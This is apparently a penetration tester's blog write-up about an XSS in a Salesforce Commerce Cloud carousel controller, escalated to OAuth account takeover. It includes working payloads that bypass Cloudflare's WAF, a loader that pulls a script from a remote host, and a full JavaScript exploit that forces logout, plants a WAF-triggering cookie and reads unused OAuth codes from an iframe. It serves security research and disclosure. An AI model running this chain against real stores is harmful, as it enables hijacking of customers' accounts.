Stealing Salesforce OAuth Tokens using the WAF
Recently, while running a pentest on a Salesforce instance, I found an XSS vulnerability. This post breaks down the bug and how I escalated it to steal OAuth tokens by leveraging the Cloudflare WAF as a gadget. Due to an NDA, let's call the target redacted.com. Let's dive in.
XSS and SFRA Context
Salesforce Commerce Cloud provides a mature security baseline, so vulnerabilities often hide in merchant customizations specifically, custom templates or components. In this case, the endpoint renders a specific component based on a configuration provided via request parameters.
A prime example is the SFRA (Storefront Reference Architecture) controller EinsteinCarousel-Load. This controller allows the storefront to dynamically load recommended products for a carousel section and expects two parameters:
- limit - A number representing the maximum count of recommendations to display in the carousel.
- components - A JSON-encoded array of component config objects that define how the carousel is rendered.
Since the components parameter directly controls the rendering output, it becomes a potential injection point if an attacker can tamper with it. Digging through my Caido history, I found requests using this controller that looked like this:
-
Endpoint -
GET /on/demandware.store/Sites-Redacted-Site/en/EinsteinCarousel-Load?components= -
Parameter
componentsvalue:[{ "template":"product/productTileCarouselSlide", "mainColor":"#000001", "model":{ "type":"product", "id":"7919757" } }]
The server renders this into the HTML as follows:
<button data-border='1px solid #000001' data-background='#000001' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
By playing around with the key mainColor, we can see our input reflected in the rendered HTML as an attribute value inside a button tag. I confirmed that we could break out of the attribute context by changing it to #000001' x=x y=':
<button data-border='1px solid #000001' x=x y='' data-background='#000001' x=x y='' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
From here, it's about crafting a payload that escapes the attribute context to execute JavaScript. However, we are stuck inside the button tag, and the Cloudflare WAF was blocking many common patterns. This meant I had to find specific attributes that weren't filtered and could be utilized from within the existing tag. A great resource for such payloads is the PortSwigger XSS Cheat Sheet.
After testing a bit, I found that oncontentvisibilityautostatechange was viable, though I was still constrained by WAF filtering. The WAF blocked keywords like focus and style essential parts of the few usable patterns for this event. However, I managed to bypass the filter by using Unicode escape (e.g., \u0073 for s). This works because the backend processes the input via JSON.parse(), as seen in the controller code:
// app_storefront_base/cartridge/controllers/EinsteinCarousel.js:25
server.get('Load', function (req) {
var newFactory = require('*/cartridge/scripts/factories/product');
var URLUtils = require('dw/web/URLUtils');
var components = (JSON.parse(req.querystring.components));
var limit = parseInt(req.querystring.limit, 10);
var successfulrenderings = 0;
// ...
With that in mind, we can send the following payload to achieve XSS:
[{
"template":"product/productTileCarouselSlide",
"mainColor":"#000001' oncontentvisibilityautostatechange='confirm``' \u0073tyle='display:block;content-visibility:auto",
"model":{
"type":"product",
"id":"7919757"
}
}]
<button data-border='1px solid #000001' oncontentvisibilityautostatechange='confirm``' style='display:block;content-visibility:auto' data-background='#000001' oncontentvisibilityautostatechange='confirm``' style='display:block;content-visibility:auto' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
Note: oncontentvisibilityautostatechange only fires on elements with content-visibility:auto, so the injected CSS in style enables the event and triggers the inline handler.
The goal now is to turn this constrained XSS into something more “flexible,” allowing us to iterate without constantly fighting filters. One basic and direct approach is to load code from an remote source, so that's what I did by creating a <script> tag with a source. The final payload looked like this:
' oncontentvisibilityautostatechange='document.head.appendChild(document.createElement(`script`)).src=`REMOTE_INSTANCE/analysis.js`' \u0073tyle='display:block;content-visibility:auto
Login with OAuth
It's time to escalate. What are our options?
- Stealing session cookies isn't possible because Salesforce enforces HttpOnly cookies.
- Cookie attacks like Cookie Jar Overflow, Cookie Tossing, or Cookie Sandwich were not applicable.
- Changing the victim's email and password wasn't possible, because it requires knowing the current password.
However, one functionality caught my eye was that the application allowed SSO login via Google or Facebook.
Let's examine the flow in this Salesforce instance:
Note: A deep dive into the OIDC Authorization Code flow is out of scope for this post, but here's a great overview.
As observed, the flow used here is the Authorization Code Flow for OIDC login. Unlike “standard OAuth” use cases (authorization: granting an app permission to access your data), this is primarily used for authentication (logging you in). Google verifies your identity, and the IdP sits in the middle to handle the sign-in and pass the result back to the website.
High-level overview of the steps:
redacted.comredirects to identity.redacted.com to initiate the login.- The IdP (identity.redacted.com) redirects the browser to Google for authentication.
- Google authenticates the user and redirects back to the IdP with a code and state.
- The IdP validates the result, links/maps the user, and redirects back to redacted.com via
Login-OAuthReentry. Login-OAuthReentryredeems the code, creates a session on redacted.com, and logs the user in.- Finally, the site redirects to the destination page, stripping the code/state from the URL.
The objective is to intercept the code and state parameters when the IdP redirects back to our origin. With those values, we can redeem them for an account session and achieve account takeover. To do this, we must halt the redirect chain at step 5, because the code is one-time use.
My first thought when analyzing the OAuth flow was to consult the amazing research by Detectify or Doyensec on OAuth abuse. Unfortunately, the presence of an IdP in the middle prevents the attacks described in those, as our XSS exists only on the origin redacted.com, not on identity.redacted.com.
Teaming Up with the WAF

The idea is to leverage the Cloudflare WAF to block the redirect from the Login-OAuthReentry callback by planting an “malicious” cookie. This prevents the code and state parameters from being redeemed, allowing us to steal them via XSS since we are back on our origin. Here are the steps we need to perform:
- We force logout the victim and get the idP google URL from
/account/loginHTML. - Add a “malicious” cookie to the victim's cookie jar to trigger a WAF block once the request returns to our origin.
- Initiate the OAuth flow by inserting an
iframepointing to the IdP login URL. - Wait for the iframe to load the redirect back to our origin.
- Steal the unused
codeandstateparameters from the iframe URL.
Here is the overall view of the attack and exploit:
(async () => {
// logout victim
await fetch('/on/demandware.store/Sites-Redacted-Site/en_US/Login-Logout');
// get IdP login URL
const r = await fetch("/account/login").then(r => r.text());
const p = new DOMParser().parseFromString(r, "text/html");
const src = p.querySelector("a[data-social-provider='google'][data-idm-redirect]")
.getAttribute("data-idm-redirect");
// "malicious" cookie to trigger WAF
document.cookie="x=' OR 1=1 -- ";
// start OAuth flow
document.body.innerHTML = `<iframe id="x" src="${src}"></iframe>`;
const x = document.getElementById("x");
await new Promise(r => x.onload = r);
// steal code + state
const u = new URL(x.contentWindow.location.href);
const c = u.searchParams.get("code");
const s = u.searchParams.get("state");
console.log("[+] Session Code = " + c);
console.log("[+] Session state = " + s);
})();

Final Notes
As demonstrated, WAF blocking isn't just a security control it can also be a reliable way to interrupt an OAuth flow at a critical moment.
You might be wondering: “Couldn't we stop this redirect using the 431 status code gadget?” You would be correct. In fact, this is the first time I have seen such a case in the wild since releasing my mini research on escalating XSS using server-side size errors. However, I wanted to showcase an alternative method that leverages WAF capabilities.
If you want to explore more ways to stop redirects, check out this excellent research by Jorian.
Hope you enjoyed it and have a good rest of your day!